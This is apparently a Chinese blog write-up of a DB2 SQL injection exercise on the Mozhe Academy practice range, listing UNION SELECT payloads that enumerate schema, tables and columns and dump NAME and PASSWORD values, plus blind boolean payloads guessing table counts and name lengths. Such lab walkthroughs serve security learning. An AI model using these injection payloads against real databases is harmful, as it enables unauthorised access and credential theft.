DB2数据库注入

db2数据库

这里使用的靶场为墨者学院在线靶场
在这里插入图片描述

确定字段数

DB2数据库注入_第1张图片
DB2数据库注入_第2张图片

确定回显位

id=-1 union select 1,2,3,4 from syscat.tables

DB2数据库注入_第3张图片

查看数据库基本信息/爆库

爆表可以使用的表可以是syscat.tables,也可以是syscat.columns、sysibm.sysdummy1

  • 科普时间
  • sysibm.sysdummy1 表是DB2数据库中的系统表,存放着系统的相关信息
  • DB2数据库注入_第4张图片
id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1
或者
id=-1 union select 1,current schema,current server,4 from syscat.tables

DB2数据库注入_第5张图片
DB2数据库注入_第6张图片
此时,确定库名为DB2INST1

爆表

爆表可以使用的表可以是syscat.tables,也可以是syscat.columns、sysibm.columns表

id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 1,1
或者
id=-1 union select 1,table_name,column_name,4 from sysibm.columns where table_schema=current schema limit 1,1

DB2数据库注入_第7张图片
DB2数据库注入_第8张图片
此时,确定表名为GAME_CHARACTER、NOTICE表
DB2数据库注入_第9张图片

爆列

爆表可以使用的表可以是syscat.columns,也可以是sysibm.columns表

id=-1 union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1
或者
id=-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1

DB2数据库注入_第10张图片

DB2数据库注入_第11张图片
DB2数据库注入_第12张图片DB2数据库注入_第13张图片
确定字段为:ID、NAME、PASSWORD、STATUS

爆字段值

id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1

DB2数据库注入_第14张图片
DB2数据库注入_第15张图片
最后没有提交成功key
DB2数据库注入_第16张图片
吐槽一下查询出来的key本来就有32位,以mozhe开头的格式。。。
求大佬的指点

其他用法

id=1 and 1<(select count(NAME) from SYSIBM.SYSTABLES where CREATOR=USER)	//猜用户表数量

DB2数据库注入_第17张图片

id=1 and 6<(SELECT LENGTH(NAME) FROM SYSIBM.SYSTABLES where name not in('COLUMNS') fetch first 1 rows only)	//猜表长度

DB2数据库注入_第18张图片
其他可以参考链接: DB2.

你可能感兴趣的:(SQL注入,靶场,数据库)